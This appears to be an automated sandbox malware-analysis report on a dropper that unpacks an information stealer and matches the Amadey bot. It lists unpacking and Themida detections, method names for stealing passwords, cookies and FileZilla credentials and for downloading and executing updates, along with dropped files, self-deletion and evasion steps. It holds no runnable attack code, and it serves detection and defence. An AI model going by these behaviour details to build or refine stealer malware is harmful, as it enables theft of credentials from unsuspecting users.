Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000013.00000003.812857479.0000000002EF5000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812716030.0000000002EF5000.00000004.00000001.sdmp
Source:	Binary string: msimg32.pdb source: WerFault.exe, 00000013.00000003.832140102.0000000005150000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000013.00000003.832098618.0000000005181000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000013.00000003.815694930.0000000002EEF000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.812703884.0000000002EEF000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

Unpacked PE file: 17.2.44A2.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Unpacked PE file: 9.2.12F1.exe.ce0000.0.unpack Unknown_Section0:ER;Unknown_Section1:W;.rsrc:R;Unknown_Section3:EW; vs Unknown_Section0:ER;Unknown_Section1:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Unpacked PE file: 17.2.44A2.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u008au0088u0086/u0086u0086u0086u0086u0086u0086u0086u008au0087u009e.cs	.Net Code: Type.GetTypeFromHandle(u0086u0086u0086u0086u0086u0086u0086u008au008cu009c.??????????(0x10000d2)).GetMethod("GetDelegateForFunctionPointer", new Type[] { Type.GetTypeFromHandle(u0086u0086u0086u0086u0086u0086u0086u008au008cu009c.??????????(0x1000017)), Type.GetTypeFromHandle(u0086u0086u0086u0086u0086u0086u0086u008au008cu009c.??????????(0x100001a)) })
Source: 9.2.12F1.exe.ce0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_007E9552 push esi; ret	0_2_007E95CD
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_007E95B7 push esi; ret	0_2_007E95CD
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00401880 push esi; iretd	4_2_00401893
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00402E94 push es; iretd	4_2_00402EA0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_00402E94 push es; iretd	4_1_00402EA0
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 8_2_004E3634 push es; iretd	8_2_004E3640
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE1039 push B70F6E7Bh; iretd	9_2_00DE103E
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEA2AE push 0000006Ah; retf	9_2_00DEA31D
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEA2AC push 0000006Ah; retf	9_2_00DEA31D
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEA244 push 0000006Ah; retf	9_2_00DEA31D
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DDF76E push esi; ret	9_2_00DDF76F
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE1ED4 push edi; retn 000Ch	9_2_00DE1ED7
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00EA3303 push eax; ret	9_2_00EA3309
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00EC616A push esi; iretd	9_2_00EC616F
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_00E841AC push eax; retf 0005h	10_2_00E841AD
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583E89F push 5D5F5E5Bh; retn 0008h	10_2_0583E855
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583740B push F400005Eh; iretd	10_2_05837441
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00401880 push esi; iretd	12_2_00401893
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00402E94 push es; iretd	12_2_00402EA0
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_00402E94 push es; iretd	12_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 14_2_004141AC push eax; retf 0005h	14_2_004141AD
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_004146F5 push ecx; ret	17_2_00414708

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 0_2_0042D8E0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0042D8E0

Source: 12F1.exe.6.dr

Static PE information: 0xD8CC78B8 [Thu Apr 5 03:15:04 2085 UTC]

Source: 12F1.exe.6.dr	Static PE information: section name:
Source: 12F1.exe.6.dr	Static PE information: section name:
Source: 12F1.exe.6.dr	Static PE information: section name:
Source: 361B.exe.6.dr	Static PE information: section name: .fefeg
Source: 361B.exe.6.dr	Static PE information: section name: .guyus
Source: 361B.exe.6.dr	Static PE information: section name: .venu
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name: .themida
Source: 305.exe.6.dr	Static PE information: section name: .boot

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: initial sample	Static PE information: section name: .text entropy: 6.93440652301
Source: initial sample	Static PE information: section name: entropy: 7.99958739292
Source: initial sample	Static PE information: section name: .text entropy: 7.47748148421
Source: initial sample	Static PE information: section name: .text entropy: 7.03337183063
Source: initial sample	Static PE information: section name: .text entropy: 6.93384153708
Source: initial sample	Static PE information: section name: entropy: 7.97546579113
Source: initial sample	Static PE information: section name: .text entropy: 7.25113586904
Source: initial sample	Static PE information: section name: .text entropy: 6.93440652301

Source: 9.2.12F1.exe.ce0000.0.unpack, EntityCreator.cs	High entropy of concatenated method names: 'S??n', 'ScanPasswords', 'ScanCook', 'ScanFills', 'GetEntityCards', 'ReadRawData', 'ReadKey', 'MakeTries', 'EQQhVK0sySfSn9K9JZ', 'N71KZf1SWv1K2GDC5d'
Source: 9.2.12F1.exe.ce0000.0.unpack, FileZilla.cs	High entropy of concatenated method names: 'Scan', 'ScanCredentials', 'GetRecent', '.ctor', 'p35QMACOYsl47ibQuI', 'ePtFWMQSIhC0rn8m8W', 'R9DrRkkvQMHKMD0yqu', 'LEItYPRrklTjOdjHn8', 'VCoQdvm5lquKbRtw9c', 'XCunvihoIDluNWhDmU'
Source: 9.2.12F1.exe.ce0000.0.unpack, NVP6cvsRm8LVKY2UGDp/dh5sYbsOQPvuwVEurZ3.cs	High entropy of concatenated method names: 'vVgkCk9peD', 'eBxqprrF8', 'LYQkSK2xW1', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'q4216ROghthnQHI5Mi', 'emXmspdyyJcJGsF0mk', 'q3PyHOVXHKKBqYCLdI', 'P8len2HbpjXgcuKmsm'
Source: 9.2.12F1.exe.ce0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	High entropy of concatenated method names: '.cctor', 'gXrXJmbBk0fMg', 'VHnWmDmvPp', 'THRWAqJ2n8', 'SaxWJ28jWa', 'dvfWrrM8Ye', 'FPBWpsy6DI', 'lXgWI9Kghy', 'HsGWZme8nA', 'h0oWKi8BXG'
Source: 9.2.12F1.exe.ce0000.0.unpack, SystemInfoHelper.cs	High entropy of concatenated method names: 'CreateBind', 'GetProcessors', 'GetGraphicCards', 'GetBrowsers', 'GetSerialNumber', 'ListOfProcesses', 'GetVs', 'GetProcessesByName', 'ListOfPrograms', 'AvailableLanguages'
Source: 9.2.12F1.exe.ce0000.0.unpack, DesktopMessanger.cs	High entropy of concatenated method names: 'get_PassedPaths', 'set_PassedPaths', 'GetFolder', 'GetScanArgs', '.ctor', 'JDRJATJH8OsfAdRcXoU', 'GT8CtBJ6RU61J5dVXcR', 'nLbmJNJjb1O8aXmL2iJ', 'WObcxCJzgvpQlsvWcV8', 'PZKMpfgY3nXaWHFSaNL'
Source: 9.2.12F1.exe.ce0000.0.unpack, DownloadAndExecuteUpdate.cs	High entropy of concatenated method names: 'IsValidAction', 'Process', '.ctor', 'suCGZrgDquXtlnEU7PW', 'h1iJkRg4mk3lrbYRppI', 'xM4TErgyseDCOHyUlkR', 'tKb9k7gVpw5Vd8bDCaH', 'Xox03xgAXbFK73KqDBQ', 'N1C9TGgZGLfpmyueXSL', 'YISawpgBuhj5vmBy2dI'
Source: 9.2.12F1.exe.ce0000.0.unpack, CryptoHelper.cs	High entropy of concatenated method names: 'DecryptBlob', 'DecryptBlob', 'GetMd5Hash', 'GetHexString', 'oxpwRrHA7MtDBxSIru', 'Wt4xfA6vQLqOEQQNkl', 'HElv60jaJ8nsEr1lEN', 'hCQBb79rvYiWNO2DMT', 'KCJr4olaAr9jk2boMp', 'IhuDrrzFi7G6oWiNAf'
Source: 9.2.12F1.exe.ce0000.0.unpack, StringDecrypt.cs	High entropy of concatenated method names: 'Xor', 'FromBase64', 'BytesToStringConverted', 'Read', 'ghoRf92gfNog3T9p6kA', 'wUohRm2d2P26SHynAUm', 'uQeqla2o5hVxcSOrh8L', 'uPlOXQ22GGRNrpnOJjq', 'ceqq1M2JNoJRnyYmRPs', 'TnY1Ph2KJe7YqLpSP96'
Source: 9.2.12F1.exe.ce0000.0.unpack, FullInfoSender.cs	High entropy of concatenated method names: '.ctor', 'Send', 'sdfk8h34', 'Visible', 'asdk9y3', 'kadsoji83', 'kkdhfakdasd', 'sdfm83kjasd', 'sdfkas83', 'gkdsi8y234'
Source: 9.2.12F1.exe.ce0000.0.unpack, IPv4Helper.cs	High entropy of concatenated method names: 'IsLocalIp', 'GetDefaultIPv4Address', 'Request', 'l6wgX0dmeglkHJ0WPMy', 'Y98T2IdhCOMvBEtyswu', 'u07E63dkK7KQsv6UfkC', 'NUDS7adRiWPUSIrpwkA', 'dNXam6dTeWI9CfTKAHX', 'k0N7SJdvqtsUlBhKKt7', 'OcvvkVdEOFt3WV8LRWT'
Source: 9.2.12F1.exe.ce0000.0.unpack, GdiHelper.cs	High entropy of concatenated method names: 'GetCaps', 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'ConvertToBytes', 'pI7r7Md3soxSL9mb8KT', 'r4XL9hdtk8GlgbO4lV1', 'AdGD67dNXHCPifdiUjC', 'gtxaWkdao542VDfu7cK', 'hg7b6fdO0cE9xI9o5eN'
Source: 9.2.12F1.exe.ce0000.0.unpack, Extensions.cs	High entropy of concatenated method names: 'ReadFile', 'ReadFileAsText', 'ChangeType', 'StripQuotes', 'DomainExists', 'PreCheck', 'sr4nxed2gajXEy6V6v3', 'IgFQ4fdJwdwfGXnXjK1', 'qifPHadg3fjdncPffFK', 'ltFUj4gz3op6nbcJlbG'
Source: 9.2.12F1.exe.ce0000.0.unpack, TaskResolver.cs	High entropy of concatenated method names: '.ctor', 'get_Result', 'ReleaseUpdates', 'V0m281g9YIM4NbYDSha', 'AsE6jcglQi2iDoG9Uqi', 'kwUSnbgHZLVsMd2PiwR', 'GUJ8n3g6xBc6RbaApvU', 'WinHfOgM2rluFJ2EYT0', 'ipVybUgwKLmQrLxQ9qN'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hiftsuu

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\305.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\44A2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2340.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\51B3.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\12F1.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hiftsuu	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1EAA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\361B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2340.exe	File created: C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\v72n86vffq.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hiftsuu:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

Code function: 17_2_0040C0B0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

17_2_0040C0B0

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
